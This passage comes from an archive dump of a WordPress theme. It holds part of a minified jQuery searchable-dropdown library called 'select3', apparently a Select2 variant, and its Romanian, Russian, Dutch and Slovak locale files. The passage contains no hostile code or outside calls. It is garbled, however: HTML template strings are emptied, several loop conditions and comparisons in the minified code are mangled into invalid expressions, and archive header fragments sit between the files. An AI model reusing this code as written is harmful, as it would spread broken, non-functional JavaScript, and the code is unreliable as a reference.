":"u","\u01d8":"u","\u01d6":"u","\u01da":"u","\u1ee7":"u","\u016f":"u","\u0171":"u","\u01d4":"u","\u0215":"u","\u0217":"u","\u01b0":"u","\u1eeb":"u","\u1ee9":"u","\u1eef":"u","\u1eed":"u","\u1ef1":"u","\u1ee5":"u","\u1e73":"u","\u0173":"u","\u1e77":"u","\u1e75":"u","\u0289":"u","\u24e5":"v","\uff56":"v","\u1e7d":"v","\u1e7f":"v","\u028b":"v","\ua75f":"v","\u028c":"v","\ua761":"vy","\u24e6":"w","\uff57":"w","\u1e81":"w","\u1e83":"w","\u0175":"w","\u1e87":"w","\u1e85":"w","\u1e98":"w","\u1e89":"w","\u2c73":"w","\u24e7":"x","\uff58":"x","\u1e8b":"x","\u1e8d":"x","\u24e8":"y","\uff59":"y","\u1ef3":"y","\xfd":"y","\u0177":"y","\u1ef9":"y","\u0233":"y","\u1e8f":"y","\xff":"y","\u1ef7":"y","\u1e99":"y","\u1ef5":"y","\u01b4":"y","\u024f":"y","\u1eff":"y","\u24e9":"z","\uff5a":"z","\u017a":"z","\u1e91":"z","\u017c":"z","\u017e":"z","\u1e93":"z","\u1e95":"z","\u01b6":"z","\u0225":"z","\u0240":"z","\u2c6c":"z","\ua763":"z","\u0386":"\u0391","\u0388":"\u0395","\u0389":"\u0397","\u038a":"\u0399","\u03aa":"\u0399","\u038c":"\u039f","\u038e":"\u03a5","\u03ab":"\u03a5","\u038f":"\u03a9","\u03ac":"\u03b1","\u03ad":"\u03b5","\u03ae":"\u03b7","\u03af":"\u03b9","\u03ca":"\u03b9","\u0390":"\u03b9","\u03cc":"\u03bf","\u03cd":"\u03c5","\u03cb":"\u03c5","\u03b0":"\u03c5","\u03c9":"\u03c9","\u03c2":"\u03c3"};i=a(document),f=function(){var a=1;return function(){return a++}}(),c=O(Object,{bind:function(a){var b=this;return function(){a.apply(b,arguments)}},init:function(c){var d,e,g=".select3-results";this.opts=c=this.prepareOpts(c),this.id=c.id,c.element.data("select3")!==b&&null!==c.element.data("select3")&&c.element.data("select3").destroy(),this.container=this.createContainer(),this.liveRegion=a(".select3-hidden-accessible"),0==this.liveRegion.length&&(this.liveRegion=a("",{role:"status","aria-live":"polite"}).addClass("select3-hidden-accessible").appendTo(document.body)),this.containerId="s2id_"+(c.element.attr("id")||"autogen"+f()),this.containerEventName=this.containerId.replace(/([.])/g,"_").replace(/([;&,\-\.\+\*\~':"\!\^#$%@\[\]\(\)=>\|])/g,"\\$1"),this.container.attr("id",this.containerId),this.container.attr("title",c.element.attr("title")),this.body=a(document.body),D(this.container,this.opts.element,this.opts.adaptContainerCssClass),this.container.attr("style",c.element.attr("style")),this.container.css(K(c.containerCss,this.opts.element)),this.container.addClass(K(c.containerCssClass,this.opts.element)),this.elementTabIndex=this.opts.element.attr("tabindex"),this.opts.element.data("select3",this).attr("tabindex","-1").before(this.container).on("click.select3",A),this.container.data("select3",this),this.dropdown=this.container.find(".select3-drop"),D(this.dropdown,this.opts.element,this.opts.adaptDropdownCssClass),this.dropdown.addClass(K(c.dropdownCssClass,this.opts.element)),this.dropdown.data("select3",this),this.dropdown.on("click",A),this.results=d=this.container.find(g),this.search=e=this.container.find("input.select3-input"),this.queryCount=0,this.resultsPage=0,this.context=null,this.initContainer(),this.container.on("click",A),v(this.results),this.dropdown.on("mousemove-filtered",g,this.bind(this.highlightUnderEvent)),this.dropdown.on("touchstart touchmove touchend",g,this.bind(function(a){this._touchEvent=!0,this.highlightUnderEvent(a)})),this.dropdown.on("touchmove",g,this.bind(this.touchMoved)),this.dropdown.on("touchstart touchend",g,this.bind(this.clearTouchMoved)),this.dropdown.on("click",this.bind(function(){this._touchEvent&&(this._touchEvent=!1,this.selectHighlighted())})),x(80,this.results),this.dropdown.on("scroll-debounced",g,this.bind(this.loadMoreIfNeeded)),a(this.container).on("change",".select3-input",function(a){a.stopPropagation()}),a(this.dropdown).on("change",".select3-input",function(a){a.stopPropagation()}),a.fn.mousewheel&&d.mousewheel(function(a,b,c,e){var f=d.scrollTop();e>0&&0>=f-e?(d.scrollTop(0),A(a)):0>e&&d.get(0).scrollHeight-d.scrollTop()+e<=d.height()&&(d.scrollTop(d.get(0).scrollHeight-d.height()),A(a))}),u(e),e.on("keyup-change input paste",this.bind(this.updateResults)),e.on("focus",function(){e.addClass("select3-focused")}),e.on("blur",function(){e.removeClass("select3-focused")}),this.dropdown.on("mouseup",g,this.bind(function(b){a(b.target).closest(".select3-result-selectable").length>0&&(this.highlightUnderEvent(b),this.selectHighlighted(b))})),this.dropdown.on("click mouseup mousedown touchstart touchend focusin",function(a){a.stopPropagation()}),this.nextSearchTerm=b,a.isFunction(this.opts.initSelection)&&(this.initSelection(),this.monitorSource()),null!==c.maximumInputLength&&this.search.attr("maxlength",c.maximumInputLength);var h=c.element.prop("disabled");h===b&&(h=!1),this.enable(!h);var i=c.element.prop("readonly");i===b&&(i=!1),this.readonly(i),j=j||q(),this.autofocus=c.element.prop("autofocus"),c.element.prop("autofocus",!1),this.autofocus&&this.focus(),this.search.attr("placeholder",c.searchInputPlaceholder)},destroy:function(){var a=this.opts.element,c=a.data("select3"),d=this;this.close(),a.length&&a[0].detachEvent&&d._sync&&a.each(function(){d._sync&&this.detachEvent("onpropertychange",d._sync)}),this.propertyObserver&&(this.propertyObserver.disconnect(),this.propertyObserver=null),this._sync=null,c!==b&&(c.container.remove(),c.liveRegion.remove(),c.dropdown.remove(),a.show().removeData("select3").off(".select3").prop("autofocus",this.autofocus||!1),this.elementTabIndex?a.attr({tabindex:this.elementTabIndex}):a.removeAttr("tabindex"),a.show()),N.call(this,"container","liveRegion","dropdown","results","search")},optionToData:function(a){return a.is("option")?{id:a.prop("value"),text:a.text(),element:a.get(),css:a.attr("class"),disabled:a.prop("disabled"),locked:r(a.attr("locked"),"locked")||r(a.data("locked"),!0)}:a.is("optgroup")?{text:a.attr("label"),children:[],element:a.get(),css:a.attr("class")}:void 0},prepareOpts:function(c){var d,e,g,h,i=this;if(d=c.element,"select"===d.get(0).tagName.toLowerCase()&&(this.select=e=c.element),e&&a.each(["id","multiple","ajax","query","createSearchChoice","initSelection","data","tags"],function(){if(this in c)throw new Error("Option '"+this+"' is not allowed for Select3 when attached to a ","
    "," ","
      ","
    ","
    "].join(""));return b},enableInterface:function(){this.parent.enableInterface.apply(this,arguments)&&this.focusser.prop("disabled",!this.isInterfaceEnabled())},opening:function(){var c,d,e;this.opts.minimumResultsForSearch>=0&&this.showSearch(!0),this.parent.opening.apply(this,arguments),this.showSearchInput!==!1&&this.search.val(this.focusser.val()),this.opts.shouldFocusInput(this)&&(this.search.focus(),c=this.search.get(0),c.createTextRange?(d=c.createTextRange(),d.collapse(!1),d.select()):c.setSelectionRange&&(e=this.search.val().length,c.setSelectionRange(e,e))),""===this.search.val()&&this.nextSearchTerm!=b&&(this.search.val(this.nextSearchTerm),this.search.select()),this.focusser.prop("disabled",!0).val(""),this.updateResults(!0),this.opts.element.trigger(a.Event("select3-open"))},close:function(){this.opened()&&(this.parent.close.apply(this,arguments),this.focusser.prop("disabled",!1),this.opts.shouldFocusInput(this)&&this.focusser.focus())},focus:function(){this.opened()?this.close():(this.focusser.prop("disabled",!1),this.opts.shouldFocusInput(this)&&this.focusser.focus())},isFocused:function(){return this.container.hasClass("select3-container-active")},cancel:function(){this.parent.cancel.apply(this,arguments),this.focusser.prop("disabled",!1),this.opts.shouldFocusInput(this)&&this.focusser.focus()},destroy:function(){a("label[for='"+this.focusser.attr("id")+"']").attr("for",this.opts.element.attr("id")),this.parent.destroy.apply(this,arguments),N.call(this,"selection","focusser")},initContainer:function(){var b,g,c=this.container,d=this.dropdown,e=f();this.opts.minimumResultsForSearch<0?this.showSearch(!1):this.showSearch(!0),this.selection=b=c.find(".select3-choice"),this.focusser=c.find(".select3-focusser"),b.find(".select3-chosen").attr("id","select3-chosen-"+e),this.focusser.attr("aria-labelledby","select3-chosen-"+e),this.results.attr("id","select3-results-"+e),this.search.attr("aria-owns","select3-results-"+e),this.focusser.attr("id","s2id_autogen"+e),g=a("label[for='"+this.opts.element.attr("id")+"']"),this.opts.element.focus(this.bind(function(){this.focus()})),this.focusser.prev().text(g.text()).attr("for",this.focusser.attr("id"));var h=this.opts.element.attr("title");this.opts.element.attr("title",h||g.text()),this.focusser.attr("tabindex",this.elementTabIndex),this.search.attr("id",this.focusser.attr("id")+"_search"),this.search.prev().text(a("label[for='"+this.focusser.attr("id")+"']").text()).attr("for",this.search.attr("id")),this.search.on("keydown",this.bind(function(a){if(this.isInterfaceEnabled()&&229!=a.keyCode){if(a.which===k.PAGE_UP||a.which===k.PAGE_DOWN)return A(a),void 0;switch(a.which){case k.UP:case k.DOWN:return this.moveHighlight(a.which===k.UP?-1:1),A(a),void 0;case k.ENTER:return this.selectHighlighted(),A(a),void 0;case k.TAB:return this.selectHighlighted({noFocus:!0}),void 0;case k.ESC:return this.cancel(a),A(a),void 0}}})),this.search.on("blur",this.bind(function(){document.activeElement===this.body.get(0)&&window.setTimeout(this.bind(function(){this.opened()&&this.search.focus()}),0)})),this.focusser.on("keydown",this.bind(function(a){if(this.isInterfaceEnabled()&&a.which!==k.TAB&&!k.isControl(a)&&!k.isFunctionKey(a)&&a.which!==k.ESC){if(this.opts.openOnEnter===!1&&a.which===k.ENTER)return A(a),void 0;if(a.which==k.DOWN||a.which==k.UP||a.which==k.ENTER&&this.opts.openOnEnter){if(a.altKey||a.ctrlKey||a.shiftKey||a.metaKey)return;return this.open(),A(a),void 0}return a.which==k.DELETE||a.which==k.BACKSPACE?(this.opts.allowClear&&this.clear(),A(a),void 0):void 0}})),u(this.focusser),this.focusser.on("keyup-change input",this.bind(function(a){if(this.opts.minimumResultsForSearch>=0){if(a.stopPropagation(),this.opened())return;this.open()}})),b.on("mousedown touchstart","abbr",this.bind(function(a){this.isInterfaceEnabled()&&(this.clear(),B(a),this.close(),this.selection&&this.selection.focus())})),b.on("mousedown touchstart",this.bind(function(c){n(b),this.container.hasClass("select3-container-active")||this.opts.element.trigger(a.Event("select3-focus")),this.opened()?this.close():this.isInterfaceEnabled()&&this.open(),A(c)})),d.on("mousedown touchstart",this.bind(function(){this.opts.shouldFocusInput(this)&&this.search.focus()})),b.on("focus",this.bind(function(a){A(a)})),this.focusser.on("focus",this.bind(function(){this.container.hasClass("select3-container-active")||this.opts.element.trigger(a.Event("select3-focus")),this.container.addClass("select3-container-active")})).on("blur",this.bind(function(){this.opened()||(this.container.removeClass("select3-container-active"),this.opts.element.trigger(a.Event("select3-blur")))})),this.search.on("focus",this.bind(function(){this.container.hasClass("select3-container-active")||this.opts.element.trigger(a.Event("select3-focus")),this.container.addClass("select3-container-active")})),this.initContainerWidth(),this.opts.element.hide(),this.setPlaceholder()},clear:function(b){var c=this.selection.data("select3-data");if(c){var d=a.Event("select3-clearing");if(this.opts.element.trigger(d),d.isDefaultPrevented())return;var e=this.getPlaceholderOption();this.opts.element.val(e?e.val():""),this.selection.find(".select3-chosen").empty(),this.selection.removeData("select3-data"),this.setPlaceholder(),b!==!1&&(this.opts.element.trigger({type:"select3-removed",val:this.id(c),choice:c}),this.triggerChange({removed:c}))}},initSelection:function(){if(this.isPlaceholderOptionSelected())this.updateSelection(null),this.close(),this.setPlaceholder();else{var c=this;this.opts.initSelection.call(null,this.opts.element,function(a){a!==b&&null!==a&&(c.updateSelection(a),c.close(),c.setPlaceholder(),c.nextSearchTerm=c.opts.nextSearchTerm(a,c.search.val()))})}},isPlaceholderOptionSelected:function(){var a;return this.getPlaceholder()===b?!1:(a=this.getPlaceholderOption())!==b&&a.prop("selected")||""===this.opts.element.val()||this.opts.element.val()===b||null===this.opts.element.val()},prepareOpts:function(){var b=this.parent.prepareOpts.apply(this,arguments),c=this;return"select"===b.element.get(0).tagName.toLowerCase()?b.initSelection=function(a,b){var d=a.find("option").filter(function(){return this.selected&&!this.disabled});b(c.optionToData(d))}:"data"in b&&(b.initSelection=b.initSelection||function(c,d){var e=c.val(),f=null;b.query({matcher:function(a,c,d){var g=r(e,b.id(d));return g&&(f=d),g},callback:a.isFunction(d)?function(){d(f)}:a.noop})}),b},getPlaceholder:function(){return this.select&&this.getPlaceholderOption()===b?b:this.parent.getPlaceholder.apply(this,arguments)},setPlaceholder:function(){var a=this.getPlaceholder();if(this.isPlaceholderOptionSelected()&&a!==b){if(this.select&&this.getPlaceholderOption()===b)return;this.selection.find(".select3-chosen").html(this.opts.escapeMarkup(a)),this.selection.addClass("select3-default"),this.container.removeClass("select3-allowclear")}},postprocessResults:function(a,b,c){var d=0,e=this;if(this.findHighlightableChoices().each2(function(a,b){return r(e.id(b.data("select3-data")),e.opts.element.val())?(d=a,!1):void 0}),c!==!1&&(b===!0&&d>=0?this.highlight(d):this.highlight(0)),b===!0){var g=this.opts.minimumResultsForSearch;g>=0&&this.showSearch(L(a.results)>=g)}},showSearch:function(b){this.showSearchInput!==b&&(this.showSearchInput=b,this.dropdown.find(".select3-search").toggleClass("select3-search-hidden",!b),this.dropdown.find(".select3-search").toggleClass("select3-offscreen",!b),a(this.dropdown,this.container).toggleClass("select3-with-searchbox",b))},onSelect:function(a,b){if(this.triggerSelect(a)){var c=this.opts.element.val(),d=this.data();this.opts.element.val(this.id(a)),this.updateSelection(a),this.opts.element.trigger({type:"select3-selected",val:this.id(a),choice:a}),this.nextSearchTerm=this.opts.nextSearchTerm(a,this.search.val()),this.close(),b&&b.noFocus||!this.opts.shouldFocusInput(this)||this.focusser.focus(),r(c,this.id(a))||this.triggerChange({added:a,removed:d})}},updateSelection:function(a){var d,e,c=this.selection.find(".select3-chosen");this.selection.data("select3-data",a),c.empty(),null!==a&&(d=this.opts.formatSelection(a,c,this.opts.escapeMarkup)),d!==b&&c.append(d),e=this.opts.formatSelectionCssClass(a,c),e!==b&&c.addClass(e),this.selection.removeClass("select3-default"),this.opts.allowClear&&this.getPlaceholder()!==b&&this.container.addClass("select3-allowclear")},val:function(){var a,c=!1,d=null,e=this,f=this.data();if(0===arguments.length)return this.opts.element.val();if(a=arguments[0],arguments.length>1&&(c=arguments[1]),this.select)this.select.val(a).find("option").filter(function(){return this.selected}).each2(function(a,b){return d=e.optionToData(b),!1}),this.updateSelection(d),this.setPlaceholder(),c&&this.triggerChange({added:d,removed:f});else{if(!a&&0!==a)return this.clear(c),void 0;if(this.opts.initSelection===b)throw new Error("cannot call val() if initSelection() is not defined");this.opts.element.val(a),this.opts.initSelection(this.opts.element,function(a){e.opts.element.val(a?e.id(a):""),e.updateSelection(a),e.setPlaceholder(),c&&e.triggerChange({added:a,removed:f})})}},clearSearch:function(){this.search.val(""),this.focusser.val("")},data:function(a){var c,d=!1;return 0===arguments.length?(c=this.selection.data("select3-data"),c==b&&(c=null),c):(arguments.length>1&&(d=arguments[1]),a?(c=this.data(),this.opts.element.val(a?this.id(a):""),this.updateSelection(a),d&&this.triggerChange({added:a,removed:c})):this.clear(d),void 0)}}),e=O(c,{createContainer:function(){var b=a(document.createElement("div")).attr({"class":"select3-container select3-container-multi"}).html(["
      ","
    • "," "," ","
    • ","
    ","
    ","
      ","
    ","
    "].join(""));return b},prepareOpts:function(){var b=this.parent.prepareOpts.apply(this,arguments),c=this;return"select"===b.element.get(0).tagName.toLowerCase()?b.initSelection=function(a,b){var d=[];a.find("option").filter(function(){return this.selected&&!this.disabled}).each2(function(a,b){d.push(c.optionToData(b))}),b(d)}:"data"in b&&(b.initSelection=b.initSelection||function(c,d){var e=s(c.val(),b.separator,b.transformVal),f=[];b.query({matcher:function(c,d,g){var h=a.grep(e,function(a){return r(a,b.id(g))}).length;return h&&f.push(g),h},callback:a.isFunction(d)?function(){for(var a=[],c=0;c0||(this.selectChoice(null),this.clearPlaceholder(),this.container.hasClass("select3-container-active")||this.opts.element.trigger(a.Event("select3-focus")),this.open(),this.focusSearch(),b.preventDefault()))})),this.container.on("focus",b,this.bind(function(){this.isInterfaceEnabled()&&(this.container.hasClass("select3-container-active")||this.opts.element.trigger(a.Event("select3-focus")),this.container.addClass("select3-container-active"),this.dropdown.addClass("select3-drop-active"),this.clearPlaceholder())})),this.initContainerWidth(),this.opts.element.hide(),this.clearSearch()},enableInterface:function(){this.parent.enableInterface.apply(this,arguments)&&this.search.prop("disabled",!this.isInterfaceEnabled())},initSelection:function(){if(""===this.opts.element.val()&&""===this.opts.element.text()&&(this.updateSelection([]),this.close(),this.clearSearch()),this.select||""!==this.opts.element.val()){var c=this;this.opts.initSelection.call(null,this.opts.element,function(a){a!==b&&null!==a&&(c.updateSelection(a),c.close(),c.clearSearch())})}},clearSearch:function(){var a=this.getPlaceholder(),c=this.getMaxSearchWidth();a!==b&&0===this.getVal().length&&this.search.hasClass("select3-focused")===!1?(this.search.val(a).addClass("select3-default"),this.search.width(c>0?c:this.container.css("width"))):this.search.val("").width(10)},clearPlaceholder:function(){this.search.hasClass("select3-default")&&this.search.val("").removeClass("select3-default")},opening:function(){this.clearPlaceholder(),this.resizeSearch(),this.parent.opening.apply(this,arguments),this.focusSearch(),""===this.search.val()&&this.nextSearchTerm!=b&&(this.search.val(this.nextSearchTerm),this.search.select()),this.updateResults(!0),this.opts.shouldFocusInput(this)&&this.search.focus(),this.opts.element.trigger(a.Event("select3-open"))},close:function(){this.opened()&&this.parent.close.apply(this,arguments)},focus:function(){this.close(),this.search.focus()},isFocused:function(){return this.search.hasClass("select3-focused")},updateSelection:function(b){var c=[],d=[],e=this;a(b).each(function(){p(e.id(this),c)<0&&(c.push(e.id(this)),d.push(this))}),b=d,this.selection.find(".select3-search-choice").remove(),a(b).each(function(){e.addSelectedChoice(this)}),e.postprocessResults()},tokenize:function(){var a=this.search.val();a=this.opts.tokenizer.call(this,a,this.data(),this.bind(this.onSelect),this.opts),null!=a&&a!=b&&(this.search.val(a),a.length>0&&this.open())},onSelect:function(a,c){this.triggerSelect(a)&&""!==a.text&&(this.addSelectedChoice(a),this.opts.element.trigger({type:"selected",val:this.id(a),choice:a}),this.nextSearchTerm=this.opts.nextSearchTerm(a,this.search.val()),this.clearSearch(),this.updateResults(),(this.select||!this.opts.closeOnSelect)&&this.postprocessResults(a,!1,this.opts.closeOnSelect===!0),this.opts.closeOnSelect?(this.close(),this.search.width(10)):this.countSelectableResults()>0?(this.search.width(10),this.resizeSearch(),this.getMaximumSelectionSize()>0&&this.val().length>=this.getMaximumSelectionSize()?this.updateResults(!0):this.nextSearchTerm!=b&&(this.search.val(this.nextSearchTerm),this.updateResults(),this.search.select()),this.positionDropdown()):(this.close(),this.search.width(10)),this.triggerChange({added:a}),c&&c.noFocus||this.focusSearch())},cancel:function(){this.close(),this.focusSearch()},addSelectedChoice:function(c){var j,k,d=!c.locked,e=a("
  • "),f=a("
  • "),g=d?e:f,h=this.id(c),i=this.getVal();j=this.opts.formatSelection(c,g.find("div"),this.opts.escapeMarkup),j!=b&&g.find("div").replaceWith(a("
    ").html(j)),k=this.opts.formatSelectionCssClass(c,g.find("div")),k!=b&&g.addClass(k),d&&g.find(".select3-search-choice-close").on("mousedown",A).on("click dblclick",this.bind(function(b){this.isInterfaceEnabled()&&(this.unselect(a(b.target)),this.selection.find(".select3-search-choice-focus").removeClass("select3-search-choice-focus"),A(b),this.close(),this.focusSearch())})).on("focus",this.bind(function(){this.isInterfaceEnabled()&&(this.container.addClass("select3-container-active"),this.dropdown.addClass("select3-drop-active"))})),g.data("select3-data",c),g.insertBefore(this.searchContainer),i.push(h),this.setVal(i)},unselect:function(b){var d,e,c=this.getVal();if(b=b.closest(".select3-search-choice"),0===b.length)throw"Invalid argument: "+b+". Must be .select3-search-choice";if(d=b.data("select3-data")){var f=a.Event("select3-removing");if(f.val=this.id(d),f.choice=d,this.opts.element.trigger(f),f.isDefaultPrevented())return!1;for(;(e=p(this.id(d),c))>=0;)c.splice(e,1),this.setVal(c),this.select&&this.postprocessResults();return b.remove(),this.opts.element.trigger({type:"select3-removed",val:this.id(d),choice:d}),this.triggerChange({removed:d}),!0}},postprocessResults:function(a,b,c){var d=this.getVal(),e=this.results.find(".select3-result"),f=this.results.find(".select3-result-with-children"),g=this;e.each2(function(a,b){var c=g.id(b.data("select3-data"));p(c,d)>=0&&(b.addClass("select3-selected"),b.find(".select3-result-selectable").addClass("select3-selected"))}),f.each2(function(a,b){b.is(".select3-result-selectable")||0!==b.find(".select3-result-selectable:not(.select3-selected)").length||b.addClass("select3-selected")}),-1==this.highlight()&&c!==!1&&this.opts.closeOnSelect===!0&&g.highlight(0),!this.opts.createSearchChoice&&!e.filter(".select3-result:not(.select3-selected)").length>0&&(!a||a&&!a.more&&0===this.results.find(".select3-no-results").length)&&J(g.opts.formatNoMatches,"formatNoMatches")&&this.results.append("
  • "+K(g.opts.formatNoMatches,g.opts.element,g.search.val())+"
  • ")},getMaxSearchWidth:function(){return this.selection.width()-t(this.search)},resizeSearch:function(){var a,b,c,d,e,f=t(this.search);a=C(this.search)+10,b=this.search.offset().left,c=this.selection.width(),d=this.selection.offset().left,e=c-(b-d)-f,a>e&&(e=c-f),40>e&&(e=c-f),0>=e&&(e=a),this.search.width(Math.floor(e))},getVal:function(){var a;return this.select?(a=this.select.val(),null===a?[]:a):(a=this.opts.element.val(),s(a,this.opts.separator,this.opts.transformVal))},setVal:function(b){var c;this.select?this.select.val(b):(c=[],a(b).each(function(){p(this,c)<0&&c.push(this)}),this.opts.element.val(0===c.length?"":c.join(this.opts.separator)))},buildChangeDetails:function(a,b){for(var b=b.slice(0),a=a.slice(0),c=0;c0&&c--,a.splice(d,1),d--);return{added:b,removed:a}},val:function(c,d){var e,f=this;if(0===arguments.length)return this.getVal();if(e=this.data(),e.length||(e=[]),!c&&0!==c)return this.opts.element.val(""),this.updateSelection([]),this.clearSearch(),d&&this.triggerChange({added:this.data(),removed:e}),void 0;if(this.setVal(c),this.select)this.opts.initSelection(this.select,this.bind(this.updateSelection)),d&&this.triggerChange(this.buildChangeDetails(e,this.data()));else{if(this.opts.initSelection===b)throw new Error("val() cannot be called if initSelection() is not defined");this.opts.initSelection(this.opts.element,function(b){var c=a.map(b,f.id);f.setVal(c),f.updateSelection(b),f.clearSearch(),d&&f.triggerChange(f.buildChangeDetails(e,f.data()))})}this.clearSearch()},onSortStart:function(){if(this.select)throw new Error("Sorting of elements is not supported when attached to instead.");this.search.width(0),this.searchContainer.hide()},onSortEnd:function(){var b=[],c=this;this.searchContainer.show(),this.searchContainer.appendTo(this.searchContainer.parent()),this.resizeSearch(),this.selection.find(".select3-search-choice").each(function(){b.push(c.opts.id(a(this).data("select3-data")))}),this.setVal(b),this.triggerChange()},data:function(b,c){var e,f,d=this;return 0===arguments.length?this.selection.children(".select3-search-choice").map(function(){return a(this).data("select3-data")}).get():(f=this.data(),b||(b=[]),e=a.map(b,function(a){return d.opts.id(a)}),this.setVal(e),this.updateSelection(b),this.clearSearch(),c&&this.triggerChange(this.buildChangeDetails(f,this.data())),void 0)}}),a.fn.select3=function(){var d,e,f,g,h,c=Array.prototype.slice.call(arguments,0),i=["val","destroy","opened","open","close","focus","isFocused","container","dropdown","onSortStart","onSortEnd","enable","disable","readonly","positionDropdown","data","search"],j=["opened","isFocused","container","dropdown"],k=["val","data"],l={search:"externalSearch"};return this.each(function(){if(0===c.length||"object"==typeof c[0])d=0===c.length?{}:a.extend({},c[0]),d.element=a(this),"select"===d.element.get(0).tagName.toLowerCase()?h=d.element.prop("multiple"):(h=d.multiple||!1,"tags"in d&&(d.multiple=h=!0)),e=h?new window.Select3["class"].multi:new window.Select3["class"].single,e.init(d);else{if("string"!=typeof c[0])throw"Invalid arguments to select3 plugin: "+c;if(p(c[0],i)<0)throw"Unknown method: "+c[0];if(g=b,e=a(this).data("select3"),e===b)return;if(f=c[0],"container"===f?g=e.container:"dropdown"===f?g=e.dropdown:(l[f]&&(f=l[f]),g=e[f].apply(e,c.slice(1))),p(c[0],j)>=0||p(c[0],k)>=0&&1==c.length)return!1}}),g===b?this:g},a.fn.select3.defaults={width:"copy",loadMorePadding:0,closeOnSelect:!0,openOnEnter:!0,containerCss:{},dropdownCss:{},containerCssClass:"",dropdownCssClass:"",formatResult:function(a,b,c,d){var e=[];return E(this.text(a),c.term,e,d),e.join("")},transformVal:function(b){return a.trim(b)},formatSelection:function(a,c,d){return a?d(this.text(a)):b},sortResults:function(a){return a},formatResultCssClass:function(a){return a.css},formatSelectionCssClass:function(){return b},minimumResultsForSearch:0,minimumInputLength:0,maximumInputLength:null,maximumSelectionSize:0,id:function(a){return a==b?null:a.id},text:function(b){return b&&this.data&&this.data.text?a.isFunction(this.data.text)?this.data.text(b):b[this.data.text]:b.text },matcher:function(a,b){return o(""+b).toUpperCase().indexOf(o(""+a).toUpperCase())>=0},separator:",",tokenSeparators:[],tokenizer:M,escapeMarkup:F,blurOnChange:!1,selectOnBlur:!1,adaptContainerCssClass:function(a){return a},adaptDropdownCssClass:function(){return null},nextSearchTerm:function(){return b},searchInputPlaceholder:"",createSearchChoicePosition:"top",shouldFocusInput:function(a){var b="ontouchstart"in window||navigator.msMaxTouchPoints>0;return b?a.opts.minimumResultsForSearch<0?!1:!0:!0}},a.fn.select3.locales=[],a.fn.select3.locales.en={formatMatches:function(a){return 1===a?"One result is available, press enter to select it.":a+" results are available, use up and down arrow keys to navigate."},formatNoMatches:function(){return"No matches found"},formatAjaxError:function(){return"Loading failed"},formatInputTooShort:function(a,b){var c=b-a.length;return"Please enter "+c+" or more character"+(1==c?"":"s")},formatInputTooLong:function(a,b){var c=a.length-b;return"Please delete "+c+" character"+(1==c?"":"s")},formatSelectionTooBig:function(a){return"You can only select "+a+" item"+(1==a?"":"s")},formatLoadMore:function(){return"Loading more results\u2026"},formatSearching:function(){return"Searching\u2026"}},a.extend(a.fn.select3.defaults,a.fn.select3.locales.en),a.fn.select3.ajaxDefaults={transport:a.ajax,params:{type:"GET",cache:!1,dataType:"json"}},window.Select3={query:{ajax:G,local:H,tags:I},util:{debounce:w,markMatch:E,escapeMarkup:F,stripDiacritics:o},"class":{"abstract":c,single:d,multi:e}}}}(jQuery);includes/lib/inc/redux/extensions/vendorsupport/vendor_support/vendor/select3/select3_locale_ro.js000064400000001606152342437700030767 0ustar00Avada/** * Select3 Romanian translation. */ (function ($) { "use strict"; $.fn.select3.locales['ro'] = { formatNoMatches: function () { return "Nu a fost găsit nimic"; }, formatInputTooShort: function (input, min) { var n = min - input.length; return "Vă rugăm să introduceți incă " + n + " caracter" + (n == 1 ? "" : "e"); }, formatInputTooLong: function (input, max) { var n = input.length - max; return "Vă rugăm să introduceți mai puțin de " + n + " caracter" + (n == 1? "" : "e"); }, formatSelectionTooBig: function (limit) { return "Aveți voie să selectați cel mult " + limit + " element" + (limit == 1 ? "" : "e"); }, formatLoadMore: function (pageNumber) { return "Se încarcă…"; }, formatSearching: function () { return "Căutare…"; } }; $.extend($.fn.select3.defaults, $.fn.select3.locales['ro']); })(jQuery); includes/lib/inc/redux/extensions/vendorsupport/vendor_support/vendor/select3/select3_locale_ru.js000064400000002223152342437700030771 0ustar00Avada/** * Select3 Russian translation. * * @author Uriy Efremochkin */ (function ($) { "use strict"; $.fn.select3.locales['ru'] = { formatNoMatches: function () { return "Совпадений не найдено"; }, formatInputTooShort: function (input, min) { return "Пожалуйста, введите еще хотя бы" + character(min - input.length); }, formatInputTooLong: function (input, max) { return "Пожалуйста, введите на" + character(input.length - max) + " меньше"; }, formatSelectionTooBig: function (limit) { return "Вы можете выбрать не более " + limit + " элемент" + (limit%10 == 1 && limit%100 != 11 ? "а" : "ов"); }, formatLoadMore: function (pageNumber) { return "Загрузка данных…"; }, formatSearching: function () { return "Поиск…"; } }; $.extend($.fn.select3.defaults, $.fn.select3.locales['ru']); function character (n) { return " " + n + " символ" + (n%10 < 5 && n%10 > 0 && (n%100 < 5 || n%100 > 20) ? n%10 > 1 ? "a" : "" : "ов"); } })(jQuery); includes/lib/inc/redux/extensions/vendorsupport/vendor_support/vendor/select3/select3_locale_nl.js000064400000001516152342437700030760 0ustar00Avada/** * Select3 Dutch translation */ (function ($) { "use strict"; $.fn.select3.locales['nl'] = { formatNoMatches: function () { return "Geen resultaten gevonden"; }, formatInputTooShort: function (input, min) { var n = min - input.length; return "Vul nog " + n + " karakter" + (n == 1? "" : "s") + " in"; }, formatInputTooLong: function (input, max) { var n = input.length - max; return "Haal " + n + " karakter" + (n == 1? "" : "s") + " weg"; }, formatSelectionTooBig: function (limit) { return "Maximaal " + limit + " item" + (limit == 1 ? "" : "s") + " toegestaan"; }, formatLoadMore: function (pageNumber) { return "Meer resultaten laden…"; }, formatSearching: function () { return "Zoeken…"; } }; $.extend($.fn.select3.defaults, $.fn.select3.locales['nl']); })(jQuery); includes/lib/inc/redux/extensions/vendorsupport/vendor_support/vendor/select3/select3_locale_sk.js000064400000003634152342437700030767 0ustar00Avada/** * Select3 Slovak translation. * * Author: David Vallner */ (function ($) { "use strict"; // use text for the numbers 2 through 4 var smallNumbers = { 2: function(masc) { return (masc ? "dva" : "dve"); }, 3: function() { return "tri"; }, 4: function() { return "štyri"; } }; $.fn.select3.locales['sk'] = { formatNoMatches: function () { return "Nenašli sa žiadne položky"; }, formatInputTooShort: function (input, min) { var n = min - input.length; if (n == 1) { return "Prosím, zadajte ešte jeden znak"; } else if (n <= 4) { return "Prosím, zadajte ešte ďalšie "+smallNumbers[n](true)+" znaky"; } else { return "Prosím, zadajte ešte ďalších "+n+" znakov"; } }, formatInputTooLong: function (input, max) { var n = input.length - max; if (n == 1) { return "Prosím, zadajte o jeden znak menej"; } else if (n >= 2 && n <= 4) { return "Prosím, zadajte o "+smallNumbers[n](true)+" znaky menej"; } else { return "Prosím, zadajte o "+n+" znakov menej"; } }, formatSelectionTooBig: function (limit) { if (limit == 1) { return "Môžete zvoliť len 